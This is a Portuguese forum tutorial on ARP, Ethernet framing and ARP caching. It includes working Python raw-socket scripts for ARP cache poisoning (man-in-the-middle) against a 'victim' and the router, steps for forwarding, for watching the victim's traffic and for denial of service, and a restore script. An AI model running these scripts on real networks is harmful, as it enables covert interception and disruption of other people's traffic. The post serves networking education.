Ir para conteúdo

ARP / Man-in-the-Middle / Dos - Python Raw Sockets


Visitante gnoo

Posts Recomendados

Saudações,

neste tópico vou deixar alguma informação sobre o que é o protocolo ARP, como ele funciona e falar um pouco sobre ARP request, ARP reply que se traduz no ataque man-in-the-Middle, isto serve para eu consolidar alguns conceitos e também espero que sirva para quem se está a iniciar e já usa algumas ferramentas e roda uns comandos no terminal ou usa Scapy e quer saber um pouco mais do que acontece por baixo dos panos, manipular os seus próprios pacotes, se conseguirem acompanhar o meu raciocinio, vão conseguir ampliar um pouco mais a vossa visão e quem sabe abrir novos horizontes para outras coisas, este conteúdo reflete um pouco a minha experência durante o tempo que explorei este assunto.

 

E também quero acreditar que se conseguires perceber mais ou menos o conteúdo que segue, a tua mãe vai ficar muito orgulhosa do filho/a que tem .

1693005957_Capturadeecr_2018-11-24_23-01-18.png.5dce3963c68e4c97f5252940a97d56fa.png

 

Para seguir este conteúdo convém saber o básico de programação em python especialmente no que toca a raw sockets e da biblioteca struct, e também saber mexer minimamente no wireshark, estes conceitos básicos podem ser utilizados com outras linguagens de programação se forem deviamente adaptados.

Os conceitos de redes aqui apresentados são retirados deste livro que recomendei anteriormente aqui:

https://www.mentebinaria.com.br/forums/topic/427-livro-para-estudo-tcp-ip/

Os trechos de código aqui apresentados foram feitos para distros GNU/Linux, a distribuição utilizada foi debian, codename: Stretch.

Então, vamos iniciar, boa sorte…

 

Endereços 48-Bit Ethernet MAC (hardware)

Citar

A IEEE define um esquema de endereçamento 48-bit MAC que é usado com Ethernet e com outras tecnologias de rede. A abreviação MAC significa Media Access Control (Controle de Acesso à Mídia), e é usada para tornar claro o propósito do endereço. Um endereço MAC é atribuído a cada placa de interface de rede. Para garantir a unicidade, um fornecedor de hardware de Ethernet deve comprar da IEEE um bloco de endereços MAC e atribuir um endereço a cada placa de interface de rede que for fabricada. A atribuição significa que não há dois hardwares de interfaces com o mesmo

endereço Ethernet. Como cada endereço é atribuído a cada dispositivo de hardware, às vezes usamos o termo endereço de hardware ou endereço físico.

Citar

Um endereço Ethernet é atribuído a uma placa de interface de rede, não a um computador; transferindo a placa de interface para um novo computador ou substituindo uma placa de interface que tenha falhado,o endereço Ethernet do computador muda.

Citar

Saber que uma mudança no hardware pode mudar um endereço Ethernet explica por que protocolos de nível mais alto são projetados para acomodarem mudanças de endereços. O esquema de endereçamento 48-bit MAC propicia três tipos de endereços descritos a seguir.

 

Unicast.

Broadcast.

Multicast.

 

Um endereço unicast é um valor único atribuído a uma placa de interface de rede, como descrito anteriormente. Se o endereço de destino em um pacote é um endereço unicast, o pacote será entregue a apenas um computador (ou não será enviado, se nenhum computador da rede tiver o endereço especificado). Um endereço broadcast é constituído todo ele só por 1, e é reservado para transmitir para todas as estações simultaneamente. Quando um comutador recebe um pacote só com 1 no campo de endereço de destino, ele entrega uma cópia do pacote a cada computador na rede com exceção do emissor. Um endereço multicast fornece uma forma limitada de transmissão na qual um subconjunto de computadores na rede aceita atender a um dado endereço multicast. O conjunto de computadores participantes é chamado um grupo multicast.

Bibliografia:

interligação de redes com TCP/IP-vol. 1 6º edição capitulo 2

 

Formato do frame Ethernet e tamanho de pacote

Citar

Devido ao termo pacote ser genérico e poder se referir a qualquer tipo de pacote, usaremos o termo frame para nos referirmos ao pacote que é definido por tecnologias de hardware.* Os frames Ethernet têm comprimentos variáveis, sem frames menores que 64 octetos** ou maiores que 1514 octetos (cabeçalho e data). Como esperado, cada frame Ethernet contém um campo que guarda o endereço 48-bit de um destino e outro campo que guarda o endereço 48-bit do emissor. Quando transmitido, o frame inclui também um 4-octet Cyclic Redundancy Check (CRC), que é usado para verificar erros de transmissão. Como o campo CRC é adicionado pelo hardware de envio e verificado pelo hardware de recebimento, não é visível para o software de camadas mais altas do protocolo.

A Figura 2.2 ilustra as partes pertinentes de um frame Ethernet.

frame.png.be9954ffde5ab3e08c93a7674b4cf36b.png

Citar

Na figura, os três primeiros campos constituem em cabeçalho para o frame, e os campos restantes são a carga útil. Os pacotes usados na maioria das tecnologias de rede seguem o mesmo padrão: o pacote consiste de um pequeno cabeçalho com campos fixos seguido por um campo de carga útil

com tamanho variável. O tamanho máximo de carga útil em um frame Ethernet é 1500 octetos. Como a Ethernet foi adotada de forma universal, a maioria dos ISPs mudou suas redes para se ajustar com a carga Ethernet.

 

Citar

Além dos campos que identificam a fonte e o destino do frame, um frame Ethernet contém um 16-bit inteiro que identifica o tipo de dado que está sendo transportado. A maioria das tecnologias de pacote inclui um campo de tipo. Do ponto de vista da Internet, o tipo do frame é essencial, pois significa que frames Ethernet são autoidentificáveis. Quando um frame chega a uma determinada máquina, o software do protocolo define qual módulo de protocolo deve processar esse tipo de frame.

Bibliografia:

interligação de redes com TCP/IP-vol. 1 6º edição capitulo 2

 

O que é o protocolo ARP e como funciona - IPv4

Citar

O ARP ( Address Resolution Protocol ) estabelece uma ligação entre o endereço fisico da placa de rede e o endereço de IP.

Citar

Os projetistas dos protocolos TCP/IP descobriram uma solução criativa para o problema de resolução de endereço para redes como Ethernet, que possuem capacidade de broadcast. A solução permite que novos hosts ou roteadores sejam acrescentados à rede sem recompilar código, e não exige manutenção de um banco de dados centralizado. Para evitar a manutenção de um banco de dados centralizado, os projetistas escolheram usar um protocolo de baixo nível para vincular endereços dinamicamente. Chamado Address Resolution Protocol (ARP), o protocolo oferece um mecanismo que é razoavelmente eficiente e que não requer que um administrador

configure tabelas manualmente. A ideia por trás da tradução dinâmica com ARP é simples: quando ele quer traduzir o endereço IP I B , um host envia por broadcast uma requisição de pacote ARP que pede ao host com endereço IP I B para responder com seu endereço de hardware H B . Todos os hosts, incluindo B, recebem a requisição, mas somente o host B reconhece seu endereço IP e envia uma resposta que contém seu endereço de hardware. O ARP só é usado quando um host precisa mandar um pacote IP. Então, quando ele recebe uma resposta ao seu requisito, o host que fez a requisição usa a informação para enviar pacotes diretamente para B.

1127541904_Capturadeecr_2018-11-25_18-08-34.png.513a6f3b5e8379bfcfa6b21cdedd8aaa.png

Bibliografia:

interligação de redes com TCP/IP-vol. 1 6º edição capitulo 6

Encapsulamento e identificação do ARP

Citar

Quando as mensagens ARP trafegam de uma máquina para outra, elas precisam ser transportadas em frames de rede. A Figura 6.3 mostra que a mensagem ARP é transportada na parte de dados de um frame (ou seja, é tratada como dado).

encapsulam_arp.png.18944fa2383cc87bdba2912aa58e08a4.png

 

Citar

Para identificar o frame como transportando uma mensagem ARP, o emissor atribui um valor especial ao campo de tipo no cabeçalho do frame. Quando um frame chega a um computador, o software de rede utiliza o tipo de frame para determinar seu conteúdo. Na maioria das tecnologias, um único valor de tipo é usado para todos os frames que transportam uma mensagem ARP – o software de rede no receptor precisa examinar melhor a mensagem ARP para distinguir entre requisições ARP e respostas ARP. Por exemplo, em uma Ethernet, os frames transportando mensagens ARP têm um campo de tipo 0x0806 onde o prefixo 0x indica um valor hexadecimal.

O tipo de frame para ARP foi padronizado pela IEEE (que é dona das normas Ethernet). Assim, quando ARP trafega por qualquer Ethernet, o tipo é sempre 0x0806. Outras tecnologias de hardware podem utilizar outros valores.

Bibliografia:

interligação de redes com TCP/IP-vol. 1 6º edição capitulo 6

 

Formato de mensagem ARP

Citar

Diferentemente da maioria dos protocolos, uma mensagem ARP não possui um cabeçalho de formato fixo. Em vez disso, para tornar o ARP útil para diversas tecnologias de rede, os projetistas optaram por tornar o tamanho do campo de endereço hardware dependente dos endereços usados pela rede subjacente. De fato, os projetistas não restringiram ARP para endereços IPv4. Em vez disso, o tamanho do campo de protocolo de endereço em uma mensagem ARP depende do tipo de protocolo de endereço de alto nível usado. Ironicamente, com apenas poucas exceções tais como experiências de pesquisa, o ARP é sempre usado com protocolo de endereço IPv4 de 32 bits e endereço de hardware Ethernet de 48 bits.

Citar

Na prática, a ARP só é usado para mapear os endereços IPv4 de 32 bits para endereços Ethernet de 48 bits.

Citar

O exemplo na Figura 6.4 mostra o formato da mensagem ARP em 28 octetos quando usado com protocolo de endereço IPv4 e em endereço de hardware Ethernet. O protocolo de endereço tem tamanho de 32bits (4octetos), e o endereço de hardware tem tamanho de 48 bits (6 octetos).

2097932230_cabecalhoarp.png.2a77181414eb05767ecc153bc72f7e06.png

 

Citar

A Figura 6.4 mostra uma mensagem ARP com 4 octetos por linha, umformato que é padrão por todo este texto e para os padrões TCP/IP. Infelizmente, o endereço Ethernet 48 bits significa que os campos na mensagem ARP não se alinham bem em limites de 32 bits, tornando o diagrama difícil de ser lido. Por exemplo, o endereço de hardware do emissor, rotulado como HARD EMISSOR, ocupa 6 octetos contíguos, de modo que ocupa duas linhas no diagrama, a terceira linha e metade a quarta linha. O campo TIPO DE HARDWARE especifica um tipo de interface de hardware para o qual o emissor busca uma resposta; ele contém o valor 1 para especificar que o endereço de hardware é um endereço MAC Ethernet. De modo semelhante, o campo TIPO PROTOCOLO especifica o tipo do endereço de protocolo de alto nível que o emissor forneceu; ele contém o 0x0800 (hexadecimal) para especificar que o protocolo de endereço é Ipv4. O formato da mensagem ARP permite que um computador possa interpretar qualquer mensagem ARP, mesmo que o computador não reconheça o tipo de endereço de protocolo ou tipo de endereço de hardware. A interpretação é possível porque os campos fixos perto do início da mensagem rotulados HLEN e PLEN especificam o tamanho de um endereço de hardware e o tamanho de um endereço de protocolo. O campo OPERAÇÃO especifica uma requisição ARP (1), resposta ARP (2), requisição RARP* (3) ou resposta RARP (4). Quando se envia um pacote ARP, um emissor coloca seu endereço de hardware nos campos HARD EMISSOR. E seu endereço IPv4, se conhecido, em EMISSOR Ipv4. Os campos HARD DESTINO e IPv4 DESTINO fornecem o endereço de hardware e o protocolo de endereço da máquina destino, se conhecido. Para a mensagem resposta (ou seja, resposta), a informação do destino pode ser extraída da mensagem de pedido. Quando se envia uma mensagem de pedido, o emissor sabe o endereço IPv4 do destino, mas não sabe o endereço de hardware. Portanto, em um pedido, o endereço de hardware de destino contém zeros.

Bibliografia:

interligação de redes com TCP/IP-vol. 1 6º edição capitulo 6

 

O cache ARP

Citar

Pode parecer tolice que, para A enviar um pacote para B, ele primeiro envia um broadcast que consome tempo em cada host. Ou então pode parecer tolice ainda maior que A transmita por broadcast a pergunta “como posso alcançar você?” em vez de apenas transmitir o pacote que deseja entregar. Mas existe um motivo importante para a troca. O broadcasting é muito mais dispendioso de ser usado toda vez que uma máquina precisa transmitir um pacote a outra, pois cada máquina na rede deve receber e processar o pacote de broadcast. Então, o software ARP em A usa uma otimização: ele grava a resposta e reusa a informação para transmissões sucessivas. A norma especifica que o software ARP deve manter um cache de ligações de endereço IP a hardware recém-adquiridas. Ou seja, sempre que um computador envia uma solicitação ARP e recebe uma resposta ARP, ele salva o endereço IP e informações de endereço de hardware correspondentes em seu cache temporariamente. Isso reduz os custos globais de comunicação de forma dramática. Ao transmitir um pacote, um computador sempre olha em seu cache antes de enviar uma solicitação ARP. Se ele encontrar a ligação desejada, não precisa enviar um pedido.Assim, quando dois computadores em uma rede se comunicam, eles começam com um pedido e resposta ARP e, em seguida, repetidamente transferem pacotes sem usar ARP para cada pacote.

Bibliografia:

interligação de redes com TCP/IP-vol. 1 6º edição capitulo 6

 

Como ver os endereços resolvidos na cache ARP do nosso sistema

O exemplo que trago aqui, é feito em debian, eu faço essa distinção de distros porque o debian ao contrário de outras distribuições, atualmente, não chega com o pacote net-tools uma vez que está obsoleto, o pacote que vem no debian é o iproute2. Eu acredito que a maioria das distros tráz os dois pacotes instalados, caso o iproute2 não esteja instalado no sistema podes instalar, se te sentires mais à vontade com o net-tools usas esse, estás no teu direito, fazes como achares melhor.

 

Comandos para consultar carche ARP

-Pacote net-tools:

$ arp -a

-Pacote iproute2:

$ ip n

Rodando qualquer um destes comandos no terminal vai dar um resultado mais ou menos parecido a este:

633352991_arpcmd.png.png.f240986bf4b1fd079e3c29b816eca9ee.png

O endereço 192.168.1.1 é o endereço do nosso router ( o vosso pode ser diferente ), esse endereço está ali porque é o primeiro dispositivo a interagir com o nosso sistema na altura em que te ligas à internet e é ele que é o responsável por fazer o roteamento dos pacotes que saem da tua máquina, o nosso sistema vai estar a enviar pacotes para ele constantemente.

 

Ativar IP forward

IP forward é um recurso do Kernel Linux é o que nos vai permitir fazer o roteamento de pacotes através do nosso sistema entre dois ou mais dispositivos, neste caso entre o router e uma suposta vitima.

O ip_forward fica no caminho /proc/sys/net/ipv4/ip_forward, com o comando cat podemos ver que o valor contido nele é zero, uma vez que como host comum não fazemos roteamento de pacotes.

669699744_catforward.png.1e1190130da6b735d033df47dccd2640.png

Para ativar esta funcionalidade substituimos o valor 0 pelo valor 1, para isso temos que elevar previlegios de administração e mudar utilzador para root.

1485525999_ativarforward.png.d03fa0349edcb60bc97d67d6270e5776.png

 

Agora que já vimos uns conceitos básicos de redes e algumas configurações básicas do nosso sistema....

Está na hora de começar a mexer com python.

tenor.gif.46eacb1f8ca4d6c38b6e34ec2c3ae354.gif

 

ARP request com python raw sockets

Agora que já sabemos o que é um ARP request vamos ver como fazer isso com python.

O código que segue tem que ser executado como root uma vez que estamos a trabalhar com raw sockets.

import socket
import struct
import binascii


raw = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0806))
raw.bind(("wlp3s0",socket.htons(0x0806)))



mac_local = '<Aqui segue o MAC da tua máquina>'                                                    
ip_local = "Aqui segue o IPv4 da tua máquina"                                          
mac_dest = 'ff:ff:ff:ff:ff:ff'
ip_dest = "Aqui segue o IPv4 da máquina que está na rede"                                           


tipo_hardware = 1
tipo_protocol = 0x0800                               
len_hardware = 6            
len_protocol = 4            
operacao = 1                                                      

src_ip = socket.inet_aton(ip_local)
dest_ip = socket.inet_aton(ip_dest)


mac_dest_byte_order = binascii.unhexlify(mac_dest.replace(":", ""))
mac_src_byte_order = binascii.unhexlify(mac_local.replace(":", ""))

# Ethernet frame
protocol = 0x0806                                                 
ethernet_frame = struct.pack("!6s6sH", mac_dest_byte_order, mac_src_byte_order, protocol)

arp_header = struct.pack("!HHBBH6s4s6s4s",tipo_hardware, 
                        tipo_protocol, 
                        len_hardware, 
                        len_protocol, 
                        operacao, 
                        mac_src_byte_order, 
                        src_ip, 
                        mac_dest_byte_order, 
                        dest_ip)
                        
                        
pacote = ethernet_frame + arp_header

cont=0
while cont < 5:
    raw.send(pacote)
    
    cont += 1 
    

Então temos duas máquinas , a 192.168.1.6 que é a máquina local, e a máquina 192.168.1.5 que é a que vamos enviar o request. Podem ver com o wireshark que aparece as expressões “ who as ” e “is at”… o “ who as” indica que está a ser feito um broadcast à nossa rede local em que a máquina 192.168.1.6 busca o endereço MAC da máquina 192.168.1.5 através de um ARP request, e por fim temos um “ is at ” que é a máquina 192.168.1.5 a enviar o seu endereço MAC através de um ARP reply.

798380807_wiresharkrequest.png.23ba813513ca06fe94d864e59ea5f509.png

Conceito básico de Man-in-the-middle

Já vimos que para obter o endereço MAC de uma máquina que está na rede fazemos um ARP request para toda a rede, o man in the middle, se nós queremos analisar o tráfego nos dois sentidos temos que dizer ao router que a máquina da vitima tem o nosso endereço MAC, e temos que dizer à máquina da vitima que o router tem o nosso endereço MAC, ou seja temos que fazer uma afirmação para esses dois dispositivos, isso traduz-se num ARP reply.

570262575_esquemamiddle.png.2046f474d81aa89c80f094017d7f7f7f.png

 

Configuração iptables

Citar

O iptables é um mecanismo de filtragem de tráfego IP no Linux, que nos permite definir regras de firewall responsáveis pelo bloqueio, aceitação ou alterações de detrminadas comunicações.

Uma boa fonte sobre este assunto é o livro segurança prática em sistemas e redes com Linux, do autor jorge granjal.

O importante aqui antes de iniciar o man-in-the-middle é perceber como está definida a chain FORWARD, em que a sua politica que deve ACCEPT, apenas se o nosso sistema estiver a servir de router, que é exatamente isso que nós queremos, é fazer o roteamento dos pacotes entre vitima e o router. Se a politica da chain FORWARD estiver DROP , os pacotes que vêm da vitima quando chegarem à tua máquina o sistema vai “ deixar cair ” esse pacotes, dessa forma vais estar a negar o serviço à vitima… que vamos falar mais à frente.

Alguns sistemas como o debian já vêm com FORWARD policy ACCEPT, nesse caso não é preciso fazer nenhuma alteração. No caso de a policy da chain FORWARD for DROP temos que fazer essa alteração para ACCEPT.

Para ver como essas politicas estão definidas no nosso sistema usamos o comando iptables -L elevando privilégios de administração com sudo ou com utilizador root.

Se estiver DROP como mostra a imagem…

1258218263_iptableinfo.png.66919b170644b00d76016a77261cd870.png

Nós não queremos isto, queremos FORWARD policy ACCEPT, a alteração dessa regra é feita com o o seguinte comando, iptables -P FORWARD ACCEPT , para ficar da seguinte forma…

1042312168_iptablesforwaraccept.png.82c431e2c98a5f82a30efd58b87547c4.png

 

Agora que que já ativamos o IP Forward e configuramos o iptables podemos iniciar o man-in-the-middle.

?

giphy-downsized-large.gif.a676c7fc573a1944a1632a892aec2685.gif

 

Man-in-the-middle com python raw sockets

Executando o código que segue podemos olhar à cache ARP do nosso sistema para ver as alterações que surgem.

import socket
import struct
import binascii
from time import sleep

raw = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0806))
raw.bind(("wlp3s0",socket.htons(0x0806)))

src_mac = "Aqui vai o MAC da tua máquina"
vit_mac = "Aqui vai o MAC da vitima"
router_mac = "Aqui vai o MAC do router"

ip_vitima = "Aqui vai o IPv4 da vitima"
ip_router = "Aqui vai o IPv4 do router"

type_hardware = 1
type_protocol = 0x0800                               
len_hardware = 6            
len_protocol = 4            
operacao_reply = 2

protocolo = 0x0806                                                 

vit_ip = socket.inet_aton(ip_vitima)
router_ip = socket.inet_aton(ip_router)

vit_mac_byte_order = binascii.unhexlify(vit_mac.replace(":", ""))
src_mac_byte_order = binascii.unhexlify(src_mac.replace(":", ""))
router_mac_byte_order = binascii.unhexlify(router_mac.replace(":", ""))

ethernet_frame_vit = struct.pack("!6s6sH", vit_mac_byte_order, src_mac_byte_order, protocolo)
ethernet_frame_router = struct.pack("!6s6sH", router_mac_byte_order, src_mac_byte_order, protocolo)

arp_header_vit = struct.pack("!HHBBH6s4s6s4s",type_hardware, 
                        type_protocol, 
                        len_hardware, 
                        len_protocol, 
                        operacao_reply, 
                        src_mac_byte_order, 
                        router_ip, 
                        vit_mac_byte_order, 
                        vit_ip)

arp_header_router = struct.pack("!HHBBH6s4s6s4s",type_hardware, 
                        type_protocol, 
                        len_hardware, 
                        len_protocol, 
                        operacao_reply, 
                        src_mac_byte_order, 
                        vit_ip, 
                        router_mac_byte_order, 
                        router_ip)


pacote_vitima = ethernet_frame_vit + arp_header_vit
pacote_router = ethernet_frame_router + arp_header_router

while True:
    raw.send(pacote_vitima)
    raw.send(pacote_router)
    sleep(2)

 

Comandos para consultar carche ARP

-Pacote net-tools:

$ arp -a

-Pacote iproute2:

$ ip n

Na imagem que segue podemos ver que o router 192.168.1.1 tem o mesmo endereço MAC que a máquina 192.168.1.6 que é aquela de onde eu estou a fazer o ataque e onde passa o tráfego.

1852017389_cachearpspoof.png.df1370d8667b9a9dbacf5e99e0d15f48.png

No wireshark com filtro arp, podemos ver um reply que diz que o router 192.168.1.1 e a máquina 192.168.1.5 estão no endereço MAC c0:cb:38:8a:f0:0e da máquina 192.168.1.6.

975074391_replyvitrouter.png.d3e7e675aa71ebb4805f5e745b8008b2.png

 

Observando o tráfego no wireshark

Agora que temos o tráfego entre router e a máquina da vitima a passar pelo nosso sistema podemos observar o seu tráfego no wireshark com o filtro tcp.

Imaginando que a vitima esta a aceder ao site do https://www.mentebinaria.com.br/  que se encontra no endereço 107.155.88.168, com o wireshark podemos ver o inicio dessa comunicação, a negociação entre a máquina 192.168.1.5 e o servidor 107.155.88.168.

856986795_flagsyn.png.c67f5381824cd38e0461bfd5cb206b33.png

1375330384_synack.png.701d8ca42d5d21fe8ecc6cc2e3772e3c.png

ack.png.26d55265a65b7e02aba6a7d96cc28ea1.png

 

A partir daqui já sei que a máquina 192.168.1.5. está no site do mente binária.

 

Dos ( denial of service )

Denial of service mais conhecido por Dos, traduz-se na negação de serviço de um ou mais hosts, aqui vamos dar como exemplo a maquina 192.168.1.5 anterior, o objetivo é impedir que ela faça requisições para fora da rede. Podemos fazer isto de duas formas, ou alteramos o valor do ip_forward para 0, ou alteramos a politica da chain FORWARD para DROP, e executamos o código anterior.

 

Reestruturação da rede

Quando finalizamos o ataque dizem que é boa prática reestruturar a rede, e se eles dizem é isso que nós fazemos…

A logica disto é enviar um reply à máquina e ao router a dizer qual o endereço MAC real de cada dispositivo.

Eu vou deixar um exemplo apenas para a máquina, em que dizemos o MAC real do router, o pacote para o router é só seguir o mesmo raciocinio.

 

import socket
import struct
import binascii
from time import sleep

raw = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0806))
raw.bind(("wlp3s0",socket.htons(0x0806)))



mac_local = 'Aqui vai o MAC da tua máquina'                                                    
ip_local = "Aqui vai o  IPv4 do router"                                          
mac_dest = 'Aqui vai o MAC da Vitima'
ip_dest = "Aqui vai o IPv4 da vitima"                                           
mac_router = 'Aqui vai o  MAC do router'

tipo_hardware = 1
tipo_protocol = 0x0800                               
len_hardware = 6            
len_protocol = 4            
operacao = 2                                                      

src_ip = socket.inet_aton(ip_local)
dest_ip = socket.inet_aton(ip_dest)


mac_dest_byte_order = binascii.unhexlify(mac_dest.replace(":", ""))
mac_src_byte_order = binascii.unhexlify(mac_local.replace(":", ""))
mac_router_byte_order = binascii.unhexlify(mac_router.replace(":", ""))

# Ethernet frame
protocol = 0x0806                                                 
ethernet_frame = struct.pack("!6s6sH", mac_dest_byte_order, mac_src_byte_order, protocol)

arp_header = struct.pack("!HHBBH6s4s6s4s",tipo_hardware, 
                        tipo_protocol, 
                        len_hardware, 
                        len_protocol, 
                        operacao, 
                        mac_router_byte_order, 
                        src_ip, 
                        mac_dest_byte_order, 
                        dest_ip)
                        
pacote = ethernet_frame + arp_header

while True:
    raw.send(pacote)
    sleep(2)
    

 

Se viste algum erro deixa nos comentários...

Abraço.

Link para o comentário
Compartilhar em outros sites

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

  • Quem Está Navegando   0 membros estão online

    • Nenhum usuário registrado visualizando esta página.
×
×
  • Criar Novo...